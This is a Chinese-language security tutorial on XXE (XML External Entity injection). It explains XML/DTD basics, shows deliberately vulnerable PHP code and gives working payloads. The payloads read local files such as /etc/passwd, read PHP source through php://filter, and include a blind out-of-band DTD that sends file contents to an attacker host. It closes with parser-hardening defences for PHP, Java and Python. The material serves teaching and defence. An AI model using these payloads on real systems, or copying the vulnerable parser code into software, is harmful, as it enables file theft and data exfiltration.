XXE
XML介绍
- XML 被设计用来传输和存储数据。XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML 允许创作者定义自己的标签和自己的文档结构。
- 语法规则:
- 所有的 XML 元素都必须有一个关闭标签
- XML 标签对大小写敏感
- XML 必须正确嵌套
- XML 属性值必须加引号
- 实体引用
- 在 XML 中,空格会被保留
XML DTD介绍:
-
拥有正确语法的 XML 被称为"形式良好"的 XML。通过 DTD 验证的XML是"合法"的 XML。
-
DTD声明类型:
- 内部的DOCTYPE声明:
<!DOCTYPE root-element[element-declareations]>
- 外部的文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE root-element SYSTEM "filename">
- 内部的DOCTYPE声明:
-
DTD数据类型:
- PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
- CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
-
DTD实体介绍:
- 实体:用于定义引用普通文本或特殊字符的快捷方式的变量。
- 内部实体:
<!ENTITY entity-name "entity-value">
- 外部实体:
<!ENTITY entity-name SYSTEM "URI/URL">
XML注入产生的原理
- XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
- xxe漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
XXE漏洞代码
-
file_get_content():把整个文件读入一个字符串中。
-
simplexml_load_string():将XML格式字符串转换为对应的SimpleXMLElement。
-
php://input:是一个可以访问请求的原始数据的只读流,结合file_get_contents(“php://input”)可以读取POST提交的数据。
-
XML注入回显,输入函数:php中可以使用print_r()、echo输出想要输出的内容。
-
代码示例:
给出完整存在XXE漏洞代码: <?php $xml=file_get_contents("php://input"); $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ;//注释掉该语句即为无回显的情况 ?>
读取本地文件Payload: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]> <root> <name>&xxe;</name> </root>
XXE漏洞利用:任意文件读取
-
测试代码:
<?php $xml=file_get_contents("php://input"); $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ;//注释掉该语句即为无回显的情况 ?>
-
PHP中测试POC:
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php
-
有回显的XXE利用:
Payload: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/flag.txt" >]> <value>&xxe;</value>
-
读取PHP文件:
-
直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
-
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php " >]> <value>&xxe;</value>
-
XXE漏洞利用:任意文件读取(无回显)
- 测试原理
-
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://192.168.1.103/test.dtd"> <foo>&e1;</foo>
-
将test.dtd中的内容设置为下面的内容:
<!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.1.103/test.php?con=%p1;'>"> %p2;
-
抓包查看:
XXE消亡原因
- libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。
XXE漏洞防御
-
使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。